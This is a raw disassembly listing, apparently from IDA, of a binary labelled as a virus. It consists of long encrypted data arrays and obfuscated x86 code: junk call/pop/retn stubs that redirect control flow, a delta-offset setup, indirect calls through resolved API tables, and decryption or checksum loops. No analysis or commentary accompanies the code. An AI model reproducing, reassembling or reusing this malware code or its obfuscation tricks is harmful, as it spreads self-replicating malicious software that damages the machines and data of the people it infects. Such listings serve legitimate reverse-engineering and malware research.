5B200000h, 5C895BC3h, 44810424h, 1B0424h dd 53430000h, 454959C3h, 0DB52FABh, 0E90689EAh, 8, 9DBD0A79h dd 35A3C79h, 0EE9h, 0C77D3F00h, 21C15EAh, 30F3D66h, 8BC09768h dd 1B30E585h, 57006A07h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1704h, 0C3574700h, 0E8D59C3Dh, 2A959D8Bh, 4689071Bh dd 8166F504h, 96B47ADBh, 53536050h, 96615858h, 8BDF8B66h dd 0C0B5FFFEh, 0BB071EABh, 28784D61h, 6E568E68h, 10E9F3h dd 63BA0000h, 0E529954Eh, 271A1949h, 0B442ED0Fh, 4819D5Bh dd 0B0AD7124h, 56006A0Ch, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1504h, 0C3564600h, 858DB26Fh, 71EABC8h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0EEC35646h, 50E745DDh dd 0F1BFBF66h, 6A240489h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 3323C353h, 0C67886F2h dd 0F6BF566Eh, 5F0BA45Ah, 4E995FFh, 6A071Bh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 180424h, 51410000h, 0EDF517C3h dd 0EF80E900h, 0BD8B61BCh, 71B33D9h, 18CD85C7h, 3071Bh dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h dd 50400000h, 50369DC3h, 4A19529h, 0BD83071Bh, 71EABC8h dd 0F840F00h, 0B3000000h, 23E957h, 0B5310000h, 71B003Dh dd 3050F88Bh, 4400110Ch, 0E8C10111h, 11443010h, 114C0002h dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h, 10E8C101h dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h dd 8B00EBE7h, 0C305BBC0h, 6A6F85h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 150424h, 52420000h, 89C41CC3h, 1B210185h dd 0D5853107h, 83071B08h, 1B18CDBDh, 850F0307h, 3FEh, 27BF6650h dd 81665F7Fh, 83E327E3h, 1EABC8BDh, 840F0007h, 3E6h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0AEC35646h, 14CEB371h dd 1B11BD23h, 8D89071Bh, 71B1899h, 0ABC8B5FFh, 830F071Eh dd 0 ; --------------------------------------------------------------------------- call dword ptr [ebp+71B09A5h] jmp loc_5817FB ; --------------------------------------------------------------------------- db 5Fh dd 0FA7FB11Bh ; --------------------------------------------------------------------------- cmpsd fmul st(6), st loc_5817FB: ; CODE XREF: Virus___:005817EEj mov esi, [ebp+71EABBCh] push 0 push edx call sub_58180C and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58180C proc near ; CODE XREF: Virus___:00581804p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 18h inc edx push edx retn sub_58180C endp ; --------------------------------------------------------------------------- dd 26ED6B9Ah, 4561BB8Fh, 6C76FEBh, 10001h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0BCC35040h, 0C3BA8B0Dh dd 8B96F9B3h, 0BF6650DAh, 53963DEBh, 5FDEBF0Fh, 0ABC8B5FFh dd 0BF0F071Eh, 6195FFF9h, 9071B35h, 1B327195h, 0BCB58B07h dd 6A071EABh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1C042444h, 41000000h, 6B3BC351h, 0E15668ECh, 8B235E9Fh dd 1B22499Dh, 11858B07h, 6A071B04h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0A5B3C356h dd 0C48689D3h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 14042444h, 43000000h, 0F29C353h, 68Ah, 61BD8B00h dd 81071B14h, 774BBCC7h, 0B5958B41h, 6A071B29h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 9572C356h, 0BD8BD1C5h, 71B3179h, 6A04C283h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h dd 5413C356h, 7C7386CFh, 0CBCBD381h, 50893E2Fh, 6870F20h dd 8B000000h, 1B0B89BDh, 0F9858D07h, 6A071EBFh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 80A1C353h, 0E8BA5D6Ch, 7, 0B4108C40h, 5B44FC11h, 0B88689h dd 9D2B0000h, 71B1EFDh, 13E8006Ah, 17000000h, 0A5AC8F69h dd 0CD9FE6F6h, 28705306h, 32749303h, 0BD891A1Bh, 71B2E35h dd 0C8B5FF5Fh, 6A071EABh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 19042444h, 47000000h, 0AE66C357h, 75B208E5h dd 66FABF0Fh, 0C169EB81h, 9DD95FFh, 8B60071Bh, 1B293985h dd 11858B07h, 61071B25h, 89F98B50h, 6A2434h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 10C13CC3h dd 74A9F393h, 0BD315E40h, 71B2E15h, 0ABC8B5FFh, 0CF81071Eh dd 73572051h, 34195FFh, 6A071Bh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 190424h, 56460000h, 48656C3h, 0E97B48F3h dd 0Eh, 0F3F9ABBFh, 528C9AAFh, 5633A7F7h, 0BD83338Ah, 71B2431h dd 40840F00h, 0E8000000h, 13h, 60245840h, 7F4E2D1Dh, 2C931BB1h dd 1ABDC99Eh, 5FE3FA83h, 800F5096h, 1Eh, 0DE95250h, 0C0000000h dd 5E2A34D4h, 0E23F9840h, 180A92A0h, 8F0F310Fh, 0 ; --------------------------------------------------------------------------- pop edx pop eax xchg eax, esi push dword ptr [ebp+71EABC8h] xor [ebp+71B014Dh], edi call dword ptr [ebp+71B18A5h] push 0 push edi call sub_581AE0 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_581AE0 proc near ; CODE XREF: Virus___:00581AD8p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 18h inc edi push edi retn sub_581AE0 endp ; --------------------------------------------------------------------------- sbb [ebx], dh push ecx mov dl, [ebx+ecx-43h] inc ebp sbb al, 1Bh pop es push dword ptr [ebp+71EABC8h] jnz loc_581B0D sub [ebp+71B0D6Dh], ecx loc_581B0D: ; CODE XREF: Virus___:00581B01j mov [ebp+71B00DDh], esi call dword ptr [ebp+71B293Dh] mov di, ax cmp dword ptr [ebp+71B28F1h], 2 jz loc_581B89 add [ebp+71B275Dh], esi mov eax, [ebp+71B007Dh] push 0 push eax call sub_581B40 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_581B40 proc near ; CODE XREF: Virus___:00581B38p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 14h inc eax push eax retn sub_581B40 endp ; --------------------------------------------------------------------------- pop esi mov ebx, [ebp+71B2E15h] mov edi, [ebp+71B1741h] mov byte ptr [eax], 0 push 0 push edx call sub_581B6B and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_581B6B proc near ; CODE XREF: Virus___:00581B63p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ch inc edx push edx retn sub_581B6B endp ; --------------------------------------------------------------------------- db 9Ch dd 2E43030h, 0E843A85Eh, 0BD840ABBh db 28h ; --------------------------------------------------------------------------- loc_581B89: ; CODE XREF: Virus___:00581B23j mov dword ptr [ebp+71B0991h], 0 movzx edi, dx jmp near ptr dword_580CD4+33Bh ; --------------------------------------------------------------------------- push 0 push edi call sub_581BA6 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_581BA6 proc near ; CODE XREF: Virus___:00581B9Ep arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ch inc edi push edi retn sub_581BA6 endp ; --------------------------------------------------------------------------- dw 73E7h dd 3B27168Fh, 0F35668Ah, 8Ah, 6AC18B00h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 61F1C351h dd 54B67856h, 660A7E40h, 89F038BFh, 1B28419Dh, 55858D07h dd 6A071B12h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1B042444h, 40000000h, 45F5C350h, 7DF7488Fh, 50F55B4Fh dd 24BF5157h, 5B637F0Eh, 2404895Bh, 6AD88B66h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 8BA6D3BDh, 199D8BA5h, 81071B03h, 84A91FD7h, 6A006A24h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h dd 43000000h, 0B03EC353h, 0E9AE68F4h, 10h, 0CF9D635Fh dd 4390C8A9h, 68DFEC50h, 0AC8EA3D3h, 6CD2858Dh, 6A071Fh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 9C487EC3h, 43DA4FF6h, 9E995A2h, 1000000h, 9505B3B6h dd 68312D3Eh, 8303DF80h, 0B5B305C0h, 24048950h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 3FC35242h, 88482A76h dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h dd 57470000h, 0AA1042C3h, 0BE04A351h, 0AE85Dh, 0E2750000h dd 157FD26Eh, 0A7CFDBDFh, 6A5F75B3h, 0D9BF0F00h, 1EA995FFh dd 6A071Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h dd 52420000h, 8B6AD1C3h, 9C8D8DF8h, 6A071E97h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 0CA19C351h, 1DE2AA83h, 54B78827h, 0FFFB8B66h, 0B99D33D1h dd 83071B21h, 1B2105BDh, 850F0107h, 0A0h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0EEC35343h, 0AB183E06h dd 860F8C90h, 0Fh, 0AE9h, 26366B00h, 8E3E682h, 6A396AD0h dd 52006A02h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h dd 0C3524200h, 965EC837h, 0F51DB36h, 689h, 0AEC38100h dd 5B032544h, 9ABF6690h, 6A90504Ch, 3E85000h, 20000000h dd 8958C358h, 81042444h, 15042444h, 40000000h, 8ADDC350h dd 5E9h, 5B872300h, 95FFEAE6h, 71B09DDh, 0C214BF66h, 0D7BE9h dd 0E800h, 815D0000h, 1F6CDCEDh, 57006A07h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 0AFBFCDC6h dd 6A36D0D7h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1A042444h, 42000000h, 8615C352h, 9F112919h, 0E781664Eh dd 858D6D10h, 71E9202h, 5090FA8Bh, 0F525060h, 87h, 60310F00h dd 0B7585A61h, 89906112h, 1B356D9Dh, 1A8F0F07h, 60000000h dd 0CE8h, 0D20A6C00h, 0F749CBC3h, 0D4AE67C4h, 8D8B5F8Ah dd 71B3135h, 35FF6461h, 0 ; --------------------------------------------------------------------------- push 0 push ebp call sub_581EEB and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_581EEB proc near ; CODE XREF: Virus___:00581EE3p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Bh inc ebp push ebp retn sub_581EEB endp ; --------------------------------------------------------------------------- db 0C7h dd 0CA117A0Eh, 6409580Bh, 2589h, 89600000h, 1B08E18Dh dd 3EB96607h, 85FF611Dh, 71B264Dh, 0A4E38166h, 89FF6ADFh dd 1B0D5D8Dh, 0C5B5FF07h, 6A071B2Fh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 0FF46C355h dd 1B2F4595h, 128E907h, 0BD2B0000h, 71B1EB9h, 860F00B0h dd 5, 5ACB27BFh, 8B70E62Ch, 1B2A41BDh, 8B71E407h, 1B2FFD9Dh dd 0F613C07h, 0FD83h, 3DBD8B00h, 0F071B25h, 9D8BC8B6h dd 71B235Dh, 6BAh, 0E9C18B00h, 8, 0E6A64452h, 9342B20Fh dd 2675BD8Bh, 0E8C1071Bh, 5BD3304h, 89071B24h, 1B2765B5h dd 0E2F76607h, 2BFBB70Fh, 519D8BC8h, 0BB071B16h, 0C24EDF1h dd 8166D18Bh, 93843E7h, 1B33598Dh, 0BE907h, 81660000h dd 892A30E3h, 1B188D95h, 85858B07h, 66071B18h, 4588C781h dd 0F807C083h, 0E900C083h, 11h, 28F70DF0h, 2A34D4C0h, 3F98405Eh dd 0A92A0E2h, 0FD03B18h, 0D83h, 0E9F4B300h, 5Eh, 2DA58509h dd 8D8B071Bh, 71B25B9h, 128A0Fh, 0DE90000h, 0B7000000h dd 0BA36A7C4h, 5D606440h, 0EBBA6306h, 0F01E183h, 3184h dd 6820F00h, 81000000h, 6B6107DFh, 0B9A58367h, 0FE071B25h dd 0EE9h, 796A9000h, 77BAD763h, 0B2D9A4AEh, 896F14BCh dd 1B188595h, 0E907h, 0B58D0000h, 71EF185h, 6ADF8B66h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h dd 0C3524200h, 63BB66B7h, 8995FFE7h, 6A071B12h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 49CCC351h, 0B90A2572h, 88Bh, 29FCE183h, 1B01018Dh, 0C02BFC07h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0B8C35646h dd 50D833D1h, 958931EBh, 71B1445h, 5820Fh, 85BF0000h, 0BA691CA5h dd 0 ; --------------------------------------------------------------------------- push 0 push edx call sub_582123 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_582123 proc near ; CODE XREF: Virus___:0058211Bp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 17h inc edx push edx retn sub_582123 endp ; --------------------------------------------------------------------------- mov dl, 0A4h sub eax, 0F9BD8B2Fh add bl, [ebx] pop es loc_58213D: ; CODE XREF: Virus___:00582147j lodsd xor eax, edx shr eax, 1 add edx, eax sub ecx, 4 jnz short loc_58213D and edi, 2C0CEB4Dh mov ebx, [ebp+71B1731h] or eax, 88h push 0 push edx call sub_582165 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_582165 proc near ; CODE XREF: Virus___:0058215Dp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 18h inc edx push edx retn sub_582165 endp ; --------------------------------------------------------------------------- db 33h, 0C5h, 0AFh dd 13E9845Ch, 59000000h, 0BC6D50AAh, 2185E439h, 532D40B9h dd 0F07BFDC1h, 0BD890B12h, 71B17BDh, 29B5958Bh, 0AE9071Bh dd 48000000h, 0B15CAA7Dh, 3FF519FAh, 28E0FF9h, 51000000h dd 0F58D8B5Fh, 89071B02h, 1B0D5995h, 0C28B5007h, 0C103188Bh dd 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 9749C356h dd 0A4B251ABh, 26819589h, 0DEBF071Bh, 830F31D0h, 1B2165BDh dd 840F0007h, 3Ch, 0B8h, 0A9BD8B00h, 89071B16h, 1B2251BDh dd 898D8D07h, 6A071B4Fh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 15042444h, 45000000h, 642CC355h, 9D8BE1FFh dd 71B1FA1h, 18CDBD83h, 0F00071Bh, 45584h, 83DE8B00h, 1B18CDBDh dd 840F0107h, 461h, 22518509h, 0BD83071Bh, 71B18CDh, 18860F03h dd 6A000004h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h, 0A03C356h, 0F0ECB36Fh, 8F18589h dd 8D01071Bh, 71B278Dh, 4018589h, 8960071Bh, 1B2745B5h dd 0D98C6607h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 19h, 32C35747h, 0B5CCDAFEh, 9D8B57ACh, 71B0CF9h, 4E1805Bh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0FEC35545h dd 0DE99A394h, 0FE9AC0Bh, 0E2000000h, 3364E10Dh, 0AA51537Dh dd 0F2FC7718h, 0C90AF9C9h, 195840Fh, 0BD330000h, 71B1B05h dd 30E5858Bh, 6A071Bh, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 0D2BDD1C3h, 30558533h, 0E960071Bh dd 0Dh, 0CAE9B687h, 0A2A5E073h, 31C5B557h, 8D9589B0h, 61071B31h dd 3076C0BFh, 7E89048h, 0D3000000h, 0F0F3ACBDh, 8B667ABAh dd 66505FF8h, 90EC10BBh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 19h, 0B2C35242h, 28758B56h, 6A006AEEh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h dd 329C355h, 68ED2D62h, 4E8h, 1F03FF00h, 0F525000h, 682h dd 0F525000h, 0F585A31h, 8E96031h, 6000000h, 6DC0D779h dd 5620302Ch, 585A615Bh, 0F525050h, 381h, 0D98B6600h, 585A310Fh dd 424448Bh, 10E85660h, 3D000000h, 0F219F172h, 0BE742F04h dd 0A272FCDh, 5E3DE09Bh, 8B615Fh, 0E8F18B60h, 0Ah, 0F1248726h dd 0AB83019Bh, 5A56C79Dh, 4489615Ah, 66600424h, 14E9C88Bh dd 0F7000000h, 0EFC43F2Ah, 9ABCF87Ah, 2DED109Bh, 0BCD5D89Eh dd 613EC741h, 52006A58h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1604h, 0C3524200h, 0FC1A4263h, 4E995FFh, 6A071Bh, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 0CF805CC3h, 0C8858973h, 81071EABh, 0A172E3C3h, 139E937h dd 8BF50000h, 1EABC085h, 0F8B70F07h, 1800C7h, 95890000h dd 71B1C11h, 0ABC4B58Bh, 48B3071Eh, 149858Bh, 6A071Bh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 0AFB2EAC3h, 6E9A143h, 84000000h, 6A98A556h, 6A068931h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h dd 41000000h, 0C866C351h, 858BCD27h, 71B30E5h, 99BD8B60h dd 89071B2Fh, 1B1435B5h, 46896107h, 8E904h, 0BC7F0000h dd 0A67417D3h, 8B966756h, 0D88B50F8h, 12E996h, 631A0000h dd 0E0F697EEh, 226ACBCEh, 7E6B9DE7h, 0A7308903h, 0ABC0B5FFh dd 0D380071Eh, 0EC8F68B4h, 8B66C952h, 240481FBh, 36CC1770h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 45C35545h dd 0D8E8BB81h, 858D0E3Ch, 71EABC8h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ah, 0D1C35646h, 530E1EC9h, 0BD0BB238h dd 71B3291h, 0AF5DBF66h, 50D98B90h, 8B535250h, 310F5FDEh dd 8B90585Ah, 1B3045BDh, 0E995FF07h, 61071B04h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 6FC35646h, 14C158D3h dd 0ECBB0F52h, 8B227C64h, 1B188D9Dh, 0CD85C707h, 3071B18h dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1A042444h, 46000000h, 85B4C356h, 68FF5871h, 62EB81F3h dd 8304B9B9h, 1EABC8BDh, 840F0007h, 37h, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 19h, 25C35242h, 0D6D1E501h dd 0C9E380FFh, 5E9h, 0F6D4CA00h, 1FE982B7h, 8B000000h dd 50FA8BDAh, 110C30h, 0C1011144h, 443010E8h, 4C000211h dd 83580311h, 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h dd 0EBE775h, 0F51C08Bh, 681h, 71BD8900h, 5F071B29h, 13E9h dd 0BC19D300h, 8A495425h, 845BDD3Ch, 0EB894CE0h, 4D877578h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 99C35040h dd 0EC604D40h, 2830F0Fh, 0B3000000h, 0CDBD83A2h, 3071B18h dd 44D850Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 140424h, 53430000h, 8166F7C3h, 83BCA7C7h, 1EABC8BDh dd 840F0007h, 41Fh, 0FFF8B70Fh, 1EABC8B5h, 50006A07h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 0E23AA650h, 4035928Dh, 9D0BEE49h, 71B28E1h, 870Fh, 95FF0000h dd 71B09A5h, 0FCCB8166h, 8BF5B7C1h, 1EABBCB5h, 53006A07h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 0B95A5241h, 5C19D8Bh, 6C7071Bh, 10001h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0EC35343h, 6C192322h dd 0D8E90424h, 23F88BB6h, 1B243D9Dh, 52509607h, 0FC18A60h dd 80h, 310F6100h, 6B35BB66h, 8B50585Ah, 8D8996DFh, 71B17D9h dd 0ABC8B5FFh, 6A071Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 160424h, 56460000h, 51338C3h, 20A6E381h, 95FF46CCh dd 71B3561h, 0ABBCB58Bh, 6A071Eh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 170424h, 57470000h, 0D23177C3h, 999D89D8h dd 8B071B14h, 1B041185h, 52006A07h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1B04h, 0C3524200h, 4417E383h, 2857BF55h dd 0C48689h, 95290000h, 71B3425h, 29099D33h, 958B071Bh dd 71B29B5h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ah, 0C2C35545h, 4F350BCDh, 9D8BB423h, 71B1AE1h, 4C283F5h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0B3C35040h dd 0BC12739Ch, 982CF574h, 0A9B5298Bh, 89071B18h, 6A2050h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 0DD93BAC3h, 95DE9B58h, 0F9858D79h, 6A071EBFh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 1FC9C351h, 53E8E6B9h, 89195C12h, 1B129DB5h dd 0B8868907h, 8B000000h, 80006ADFh, 0B5FF2DF7h, 71EABC8h dd 23958501h, 95FF071Bh, 71B09DDh, 30359D31h, 6650071Bh dd 3489D88Bh, 158D8924h, 0FF071B1Ch, 1EABC8B5h, 50006A07h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 0C2A45910h, 0BFF90C53h, 7054E460h, 34195FFh, 6A071Bh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h dd 11C5D5C3h, 31BD83E3h, 71B24h, 7E840Fh, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 60A7E5C3h, 12E953h, 59DA0000h, 7CEBEDEEh, 0D00638B7h dd 0EC2D7BB8h, 0EF6D95AAh, 79858B5Ah, 61071B0Dh, 8684BB96h dd 0E850223Bh, 0Dh, 0DE4CBF84h, 2746B000h, 87D441ABh, 31CFBB32h dd 965F4662h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 18h, 0D8C35040h, 0EBA5BB19h, 0ABC8B5FFh, 6A071Eh, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 0B5095FC3h, 71B2331h, 3890Fh, 0B70F0000h, 0A595FFDBh dd 0FF071B18h, 1EABC8B5h, 57006A07h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 3E7019CFh dd 4AAF5C2h, 8B66F6A7h, 3D95FFDAh, 6A071B29h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h dd 2C57C357h, 0D380D602h, 0F1BD8336h, 2071B28h, 3A840Fh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h dd 55450000h, 60B981C3h, 66A6C458h, 8B919CD9h, 1B007D85h dd 3DEF8107h, 0C655FDDCh, 8D310000h, 71B3505h, 99185C7h dd 71Bh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 619B11C3h, 598D8958h, 0E9071B31h dd 0FFFFF391h, 1C15B589h, 0C18B071Bh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 16h, 0DFC35545h, 9D8B9DEAh, 71B2AC5h dd 1255858Dh, 11E9071Bh, 9E000000h, 9110B09h, 6BF19494h dd 7D04F832h, 2672300Eh, 840F90h, 50000000h, 0AE9h, 2DBFAB00h dd 59481168h, 90A136ECh, 2A5D9D31h, 6A071Bh, 18619D8Bh dd 6A071Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 17h, 0C3C35343h, 0E8869D78h, 0Dh, 91B49083h, 0EBFC5EAEh dd 26A59C2Dh, 0DDDF8177h, 5B6C057Eh, 7BF4858Dh, 6660071Fh dd 8B47D181h, 61F3B70Fh, 6A05C083h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1D042444h, 40000000h, 78ECC350h dd 0E821B27Ch, 89D9ED04h, 50DC8A90h, 0F98B6650h, 0BD8B905Bh dd 71B0345h, 21CDBD89h, 6A071Bh, 2E05BD8Bh, 6A071Bh, 1C219589h dd 95FF071Bh, 71B1EA9h, 59D03h, 8D8D071Bh, 71E979Ch, 0FF76CF80h dd 0EF8166D1h, 0BD836F2Dh, 71B2105h, 9F850F01h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 18042444h dd 45000000h, 0BEBAC355h, 6664D33Bh, 12E9DF8Bh, 0DE000000h dd 0B36335C7h, 0DEF44E80h, 89431738h, 66644E70h, 66026ABFh dd 90AA10BFh, 52505250h, 13E9h, 480A6200h, 537775E8h, 88F3C493h dd 0AA5C9513h, 0CC078CE5h, 0BF66310Fh, 585A17DFh, 585A310Fh dd 0B6BB6650h, 6A907Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1C0424h, 56460000h, 1D1C5EC3h, 0ECCB7831h, 0F781FDC8h dd 4466934h, 9DD95FFh, 4EE9071Bh, 0E800000Eh, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 71F7BFEh push 0 push ebx call sub_582D7A and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_582D7A proc near ; CODE XREF: Virus___:00582D72p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Dh inc ebx push ebx retn sub_582D7A endp ; --------------------------------------------------------------------------- dw 33B0h dd 0B02BB609h, 0F3AB695Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 18h, 0ACC35646h, 2D50EA48h, 9202858Dh, 0FCBB071Eh dd 0F2D48EEh, 686h, 0E1BD8B00h, 50071B26h, 6B75BB66h, 6A240489h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h dd 45000000h, 92D1C355h, 723DBB51h, 0BB6619F1h, 0FF64C616h dd 35h, 0A59D8B00h, 64071B25h, 2589h, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 487E8EC3h, 0EE99Ch, 0B9880000h, 0E1A436C9h, 5A081D5Dh dd 887BA07h, 264D85FFh, 0E381071Bh, 0D7F0916h, 6AFF6Ah dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h dd 87CD06C3h, 19471055h, 0BE978h, 3E960000h, 0D7115128h dd 37D8A028h, 5B5FF57h, 6A071B26h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0EB19C353h dd 9E9E8h, 0A7A90000h, 62AFABC5h, 0FFB2B821h, 1B2F4595h dd 136E907h, 0E9600000h, 0Dh, 907A57F1h, 1527E025h, 5638E797h dd 0F78B6631h, 0F00B061h, 1480h, 0CA8B6000h, 0BE9h, 589A6300h dd 1337B4DEh, 9A4CBBBAh, 6670E661h, 27CDE781h, 816671E4h dd 3C8BB7E3h, 0ED830F61h, 89000000h, 1B24FD85h, 0BD9D3307h dd 0F071B23h, 0C380C8B6h, 6BAC6h, 8D0F0000h, 6, 8536E781h dd 0C3813ADBh, 7908C322h, 0CB81C18Bh, 9089A2Fh, 8104E8C1h dd 0BE60B7C3h, 0E2F7667Dh, 0DE8BC82Bh, 2799BD8Bh, 0D18B071Bh dd 2D1DBD8Bh, 8E9071Bh, 89000000h, 1B1A8195h, 8BF88B07h dd 1B0E2985h, 0F99D8B07h, 83071B1Eh, 816607C0h, 835B0BF7h dd 9D8B00C0h, 71B2F1Dh, 1B6D8589h, 0D03B071Bh, 2D830Fh dd 0DF800000h, 5EE910h, 0BE80000h, 0D6000000h, 63807E96h dd 0E984824Ch, 0BE88758h, 81000000h, 0E24048D2h, 0FE84194Bh dd 0BF0FC434h, 8B5F5BFFh, 1B2B218Dh, 5810F07h, 0BF000000h dd 1D73BC4Eh, 0F01E183h, 1F84h, 9DBD2B00h, 83071B12h, 1B2B21A5h dd 